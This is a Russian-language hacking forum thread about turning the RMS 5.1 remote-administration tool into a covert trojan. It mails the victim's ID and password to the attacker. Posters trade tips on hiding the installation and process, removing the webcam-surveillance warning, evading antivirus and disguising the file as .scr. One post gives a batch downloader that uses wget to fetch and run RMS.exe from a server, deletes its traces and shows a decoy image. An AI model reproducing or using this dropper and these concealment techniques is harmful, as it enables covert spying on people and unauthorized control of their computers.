RMS 5.1 c отправкой ID и pass на почту.

Не сталкивался,извеняй ))

 

Палевность тут пока одна.
1) Жертва запустила, RMS установился, если жертва ище раз запустила, вылазит окно удаления RMS, и он перед глазами удаляется, и опять устанавливается.
Знает кто, как ето убрать?

 

Так ведь сборка само удаляется при запуске ...

 

ключ лутше свой брать, он бесплатной
в програм файлс кидает файлы?

 

Да и с этим ключом нет никаких проблем...

 

если 100 людей его возьмут будут лаги, под один ключ - один канал

 

- с функцией самоудаления, ету сборку можно впарить только школотенке, и тупым юзерам, если юзер запустил, и она удалилась, он ище раз скачает, а в большынстве случаев, по - моему опыту, пользователь лезет сразу в диспетчер задач, или подумал что такое удалилось, опять скачает и запустит, а там окошко с надписью RMS, тогода подумает, что такое у меня установилось и далее понятно.))

 

Сервер палится в установленных программах... можно сделать чтобы его там не было?

Добавлено через 1 час 46 минут
И еще... Когда пользователь зашел в систему в rviewer видится экран приветствия... Можно ли увидеть то что делает сейчас пользователь... как в teamviere...

 

- не хватает батника удаление сборки с компьютера жертвы.
- остался открытым вопрос как удалить баннер при просмотре камеры
- нужен инжект процесса для сокрытия в диспетчере задач

Добавлено через 4 минуты
я использую downloader для rms, он легкий и меньше палится... собирается Bat_To_Exe_Converter

PHP:

@echo off
:start
ping ya.ru -n 5 >nul
if %errorlevel%==0 (goto get) else (goto start)
:get
wget.exe http://имя сервера/RMS.exe
RMS.exe
taskkill /f /im updwin.exe
del /f /q "%SYSTEMROOT%\updwin.exe"
del /f /q wget.exe
del updwin.bat

можно добавить строчку и жертва увидит картинку или вместо картинки pdf файл


copy /y img1.jpg %SYSTEMROOT%\img1.jpg
start %SYSTEMROOT%\img1.jpg

а еще если есть желание, переименовать расширение exe в scr

- из сборки надо исключить stop.js и заменить батником, т.к. у некоторых пользователей может быть отключен JavaScript

 

у меня тоже все получилось и антивирусами не палится ... но ЛАГАЕТ ЖИСТОКО на 5 раз хуже чем радмин ... от чего ето так ? Можно как небудь криптануть сборку ?

 

возьми бесплатно новый ключ

 

откудо ?

Добавлено через 10 минут
кто знает как сделать чтоб когда смотрю через камеру не писалось осорожно видеонаблюдение ?

 

никак, в 5.0 вроде удалось

 

В install.cmd дописать

в 5.1b2 тоже все норм.патч для RMS 5.1 beta-2


C батником не понял нафига создавать ету папку в system32,помоему хватит просто запустить установку RMS

 

процессы скрыть никому не удалось?

 

Добрый день. Перепробывал вышеописанное. Получается практически все: из установленных программ удаляется, Program Files папка становится скрытой. Но осталось несколько вопросов. 1. Можно ли изменить папку установки сервера, т.к. в Program Files получается паливно. 2. Не получается пропатчить файлы для удаления надписи о ведении видеонаблюдения. Распаковать получилось, пропатчить тоже. Но запаковать не получается. Кто подскажет, какой программой нужно пользоваться для упаковки файлов в msi. 3. Как скрыть процесс?

 

1 Можно,если ставить с чистого msi,но это надо иметь физический доступ к компу.Сформированный ехе-шный будет всегда в Program Files.
2 Просто заменяешь оригинальные файлы в Program Files\Remote Manipulator System - Server на удаленном компе и ВСЕ
3 Без ответа....

 

Нашел одну утилиту скрывает процессы самописную, ток немогу разобраться (нет времени если честно) кому интересно ссыль .Если кто разберётся отпишитесь! http://rghost.ru/2223290

 

я уже отвечал вот